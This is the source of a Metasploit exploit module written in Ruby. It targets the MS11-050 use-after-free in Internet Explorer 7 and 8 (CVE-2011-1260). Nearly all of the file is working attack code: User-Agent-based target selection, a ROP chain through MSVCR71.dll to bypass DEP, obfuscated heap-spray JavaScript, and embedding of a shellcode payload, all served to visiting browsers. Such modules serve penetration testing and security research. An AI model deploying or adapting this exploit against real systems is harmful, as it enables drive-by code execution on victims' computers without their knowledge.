metasploit-framework/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelem...

314 lines
10 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil,
})
def initialize(info={})
super(update_info(info,
'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Internet Explorer. The
vulnerability occurs when an invalid <object> tag exists and other elements
overlap/cover where the object tag should be when rendered (due to their
styles/positioning). The mshtml!CObjectElement is then freed from memory because
it is invalid. However, the mshtml!CDisplay object for the page continues to keep
a reference to the freed <object> and attempts to call a function on it, leading
to the use-after-free.
Please note that for IE 8 targets, JRE (Java Runtime Environment) is required to
bypass DEP.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'd0c_s4vage',
'sinn3r', #ROP (thx corelanc0d3r)
],
'References' =>
[
['CVE', '2011-1260'],
['OSVDB', '72950'],
['MSB', 'MS11-050'],
['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
# In IE6 the mshtml!CObjectElement size is 0xac
[
'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
{
# sizeof(mshtml!CObjectElement)
'FreedObjSize' => 0xb0,
'FakeObjCount' => 0x4000,
'FakeObjCountKeep' => 0x2000,
'ForLoopNumObjects' => 3,
'FreedObjOverwritePointer' => 0x0c0c0c0c,
'FreedObjOffsetAlignSize' => 0,
'ROP' => false,
}
],
[
'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
{
# sizeof(mshtml!CObjectElement)
'FreedObjSize' => 0xe0, # 0xdc rounded up
'FakeObjCount' => 0x8000,
'FakeObjCountKeep' => 0x3000,
'ForLoopNumObjects' => 5,
'FreedObjOverwritePointer' => 0x0c0c0c0c,
'FreedObjOffsetAlignSize' => 0,
'ROP' => false,
}
],
[
#This target requires MSVCR71.dll (JRE 1.6)
'Win XP SP3 Internet Explorer 8 (DEP)',
{
'FreedObjSize' => 0xe0, # 0xdc rounded up
'FakeObjCount' => 0x8000,
'FakeObjCountKeep' => 0x3000,
'ForLoopNumObjects' => 5,
'FreedObjOverwritePointer' => 0x0c0c0c0c,
'FreedObjOffsetAlignSize' => 2,
'StackPivot' => 0x7C348B05, #xchg eax,esp - MSVCR71.dll
'ROP' => true,
}
],
[
'Debug Target (Crash)', {}
],
],
'DisclosureDate' => "Jun 16 2011",
'DefaultTarget' => 0))
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
if agent =~ /MSIE 8\.0/
mytarget = targets[3] # IE 8
elsif agent =~ /MSIE 7\.0/
mytarget = targets[1]
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
unless mytarget
send_not_found(cli)
return
end
end
@mytarget = mytarget
@debug = true if mytarget == targets[4]
return if ((p = regenerate_payload(cli)) == nil)
id_name = rand_text_alpha(5)
dir_name = rand_text_alpha(3)
if @debug
data = <<-DATA
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";
document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";
</script>
</body>
</html>
DATA
print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
send_response(cli, data, { 'Content-Type' => 'text/html' })
return
end
if @mytarget['ROP']
nop = 0x7c348b06
#mona.py tekniq
#https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
rop_stage2 = [
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
nop, # EBP
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # <- VirtualProtect() found in IAT
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
nop, # EDI (filler)
nop, # will be patched at runtime (VP), then picked up into ESI
nop, # EBX (filler)
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0xfffff82f, # size 20001 bytes
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
].pack('V*')
else
rop_stage2 = ''
end
raw_shellcode = rop_stage2 + payload.encoded
shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))
spray = nil
rop_shellcode_spray = nil
obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")
if @mytarget['ROP']
rop_stage1 = [
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x23000ddc,
0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll)
]
junk = rand_text(4).unpack("L")[0].to_i
padding1 = [junk]*3
padding2 = [junk]*25
rop_stage1 = padding1 + rop_stage1 + padding2
rop_stage1 << @mytarget['StackPivot']
front = rop_stage1.slice!(0, 19)
rop_stage1 = rop_stage1 + front
rop_stage1 = rop_stage1.pack('V*')
nops = rand_text_alpha(0x1000 - (0x800 - rop_stage2.length - raw_shellcode.length))
nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))
#spray up to 0x23000000
rop_shellcode_spray = <<-JS
var shellcode = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while(nops.length < 0x1000) nops += nops;
var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
JS
spray = rop_stage1
shellcode = ""
else
spray = obj_overwrite_ptr
end
spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))
js = <<-JS
heap_obj = new heapLib.ie(0x20000);
var heapspray = unescape("#{spray}");
while(heapspray.length < 0x1000) heapspray += heapspray;
var shellcode = unescape("#{shellcode}");
var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
var front = heapblock.substring(0, offset);
var end = heapblock.substring(offset);
heapblock = end + front;
while(heapblock.length < 0x20000) heapblock += heapblock;
finalspray = heapblock.substring(0, (0x10000-6)/2);
for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }
#{rop_shellcode_spray}
var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);
for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
}
for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
JS
js = heaplib(js)
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
html = <<-HTML
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
HTML
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport} (#{mytarget.name})...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end